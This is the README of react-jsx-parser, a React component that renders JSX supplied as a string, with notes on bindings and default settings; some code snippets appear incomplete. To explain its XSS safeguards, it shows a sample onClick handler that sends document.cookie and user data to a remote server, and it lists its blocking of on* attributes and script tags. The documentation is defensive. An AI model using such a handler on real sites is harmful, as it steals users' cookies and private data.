A React component which can parse JSX and output rendered React Components.
Branch: develop
Clone or download
Latest commit d76f9ac Nov 16, 2018


react-jsx-parser CircleCI Version NPM Downloads License

A React component which can parse JSX and output rendered React Components.

Basic Usage - Injecting JSX as a String

import React from 'react'
import JsxParser from 'react-jsx-parser'
import Library from 'some-library-of-components'

class InjectableComponent extends Component {
  static defaultProps = {
    eventHandler: () => {}
  // ... inner workings of InjectableComponent

const MyComponent = () => (
      foo: 'bar',
      myEventHandler: () => { /* ... do stuff ... */ },
    components={{ InjectableComponent, Library }}
      <InjectableComponent eventHandler={myEventHandler} truthyProp />
      <Library.SomeComponent someProp={foo} calc={1 + 1} stringProp="foo" />

Because InjectableComponent is passed into the JsxParser.props.components prop, it is treated as a known element type, and created using React.createElement(...) when parsed out of the JSX. You can also pass in a whole collection of components, as shown by the Library binding, and then access the individual items with LibraryName.ComponentName.

Finally, a note about property bindings. The JsxParser can handle several types of binding:

  • implicit true bindings, such as <InjectableComponent truthyProp /> (equivalent to truthyProp={true})
  • string-value binding, such as stringProp="foo"
  • expression-binding, such as calc={1 + 1}
  • named-value binding, such as eventHandler={myEventHandler} (note that this requires a match in bindings)

The component does not support inline function declarations, such as:

  • onClick={function (event) { /* do stuff */ }}, or
  • onKeyPress={event => { /* do stuff */}}

This is to prevent inadvertent XSS attack vectors. Since the primary use of this component is to allow JSX to be stored server-side, and then late-interpreted at the client-side, this restriction prevents a malicious user from stealing info by executing a situation like:

  bindings={{ userInfo: { private: 'data' } }}
  onClick={() => {
    fetch('/some/remote/server', {
      body: JSON.stringify({ cookies: document.cookie, userInfo })

Advanced Usage - Injecting Dynamic JSX

// Import desired set of components
import { ComponentA, ComponentB } from 'somePackage/Components'
import ComponentC from 'somePackage/ComponentC'
import ComponentD from 'somePackage/ComponentD'
// Load an HTML or XML fragment from a remote API
const dynamicHtml = loadRemoteData()
// Within your component's render method, bind these components and the fragment as props
  components={{ ComponentA, ComponentB, ComponentC, ComponentD }}

Any ComponentA, ComponentB, ComponentC or ComponentD tags in the dynamically loaded XML/HTML fragment will be rendered as React components. Any unrecognized tags will be handled by React.

Note: Non-standard tags may throw errors and warnings, but will typically be rendered in a reasonable way.

PropTypes / Settings

JsxParser.defaultProps = {
  // if false, unrecognized elements like <foo> are omitted and reported via onError
  allowUnknownElements: true, // by default, allow unrecognized elements

  bindings: {}, // by default, do not add any additional bindings

  // by default, just removes `on*` attributes (onClick, onChange, etc.)
  // values are used as a regex to match property names
  blacklistedAttrs: [/^on.+/i],

  // by default, removes all <script> tags
  blacklistedTags:  ['script'],

  // an object map of component tag-names to their definitions - see above for examples
  // components must extend React.Component, React.PureComponent, or be a Function
  components: {},

  componentsOnly: false, // non-component HTML tags are allowed by default, omitted if true

  jsx: '', // the jsx string to be parsed & rendered

  onError: () => {}, // if specified, any rendering errors are reported via this method

  showWarnings: false, // if true showWarnings, rendering errors are output with console.warn

  renderInWrapper: true, // if false, the HTML output will have no <div> wrapper